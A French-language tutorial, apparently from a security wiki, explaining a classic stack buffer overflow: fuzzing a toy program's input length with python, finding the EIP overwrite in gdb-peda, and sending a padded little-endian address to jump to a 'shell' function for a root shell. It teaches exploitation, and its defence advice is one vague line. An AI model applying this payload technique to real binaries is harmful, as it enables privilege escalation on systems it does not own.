**Le Buffer Overflow classique** **1.Présentation** Le buffer overflow est le dépassement de la mémoire dans un programme. Il est souvent lié au C du fait que ce langage nécessite de stipuler l'allocation mémoire pour les tailles des variables. Par exemple : char buf[50]; La variable buf va pouvoir recevoir jusqu'à 49 caractères (le dernier caractère est le null byte qui est la fin de chaîne \x00) Si on lui donne plus de 49 caractères elle va déborder, d'où le buffer overflow. **2.Exploitation** Le but de l'exploitation d'un buffer overflow est de détourner le flux d'exécution du programme pour lui faire exécuter un shell code. __2.1 Méthode 1 : Exploitation d'un buffer overflow__ Prenons l'exemple d'un programme qui demande le nom de la personne et qui ensuite le print. ./mon_nom wikisecu Votre nom est : wikisecu Le but va être de lui envoyer le plus de caractères possibles et voir à quel moment la variable qui contient le nom va déborder. Le plus simple est d'utiliser python pour cela. `python -c "print 'A'*30"` Le résultat de la commande va nous donner 30 fois la lettre A. Essayons de nouveau : ./mon_nom `python -c "print 'A'*30"` Votre nom est : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Il faut augmenter le nombre de A jusqu’à obtenir un **Segmentation Fault** qui signifie un plantage du programme suite au dépassement du buffer. Dans notre cas cela sera : ./mon_nom `python -c "print 'A'*50"` Votre nom est : Segmentation Fault Le **Segmentation Fault** signifie aussi que nous avons écraser l'adresse mémoire où le programme à essayer d'aller Pour voir ce qu'il se passe en mémoire il faut utiliser GDB-PEDA (version avec des couleurs et moins effrayante de GDB) gdb-peda ./mon_nom Quelques commandes utiles : - "r" pour run - "b* adresse" pour mettre un breakpoint(point d’arrêt) dans le programme (attention à bien faire défiler le programme avec "c" pour continue et non plus "r") - "pdisass fonction" pour désassembler une fonction L'adresse "$PC" dans gdb-peda est la prochaine adresse où le programme va jumper. Il en est de même pour l'EIP. EIP: 0x41414141 ('AAAA') EFLAGS: 0x210282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] Dans notre cas le but et de trouver à partir de combien de AAAA on écrit à cette adresse Pour info A en hexa donne : \x41 On remarque que pour 53*A + AAAA on réécrit la prochaine adresse. Pour trouver l'adresse sur laquelle jumper , il faut regarder le code. On va trouver l'adresse de la fonction shell qui est dans notre programme (dans le cas deux on verra comment mettre notre propre shell). Pour cela on va faire pdisass shell gdb-peda$ disass shell Dump of assembler code for function shell: 0x08042345 <+0>: push ebp 0x08042346 <+1>: mov ebp,esp 0x08042348 <+3>: sub esp,0x18 0x0804234a <+6>: mov DWORD PTR [esp],0x8012340 0x08042351 <+13>: call 0x8012360 0x08042356 <+18>: leave 0x08042357 <+19>: ret End of assembler dump. Attention l'adresse est en little endian. C'est à dire que l'adresse \x01\x02\x03\x04 s'écrira \x04\x03\x02\x01 On retourne dans le terminal et on va dire à notre programme d'aller jumper dans la fonction shell : (on rajoute cat pour avoir la main une fois le buffer overflow effectué) ./mon_nom `python -c 'print "A"*53 +"\x45\x23\x04\x08" ' ;cat On peut désormais écrire des commandes avec les droits root. **3.Comment se protéger** Il faut appliquer les bonnes pratiques de codes ainsi qu'une bonne hygiène de développement.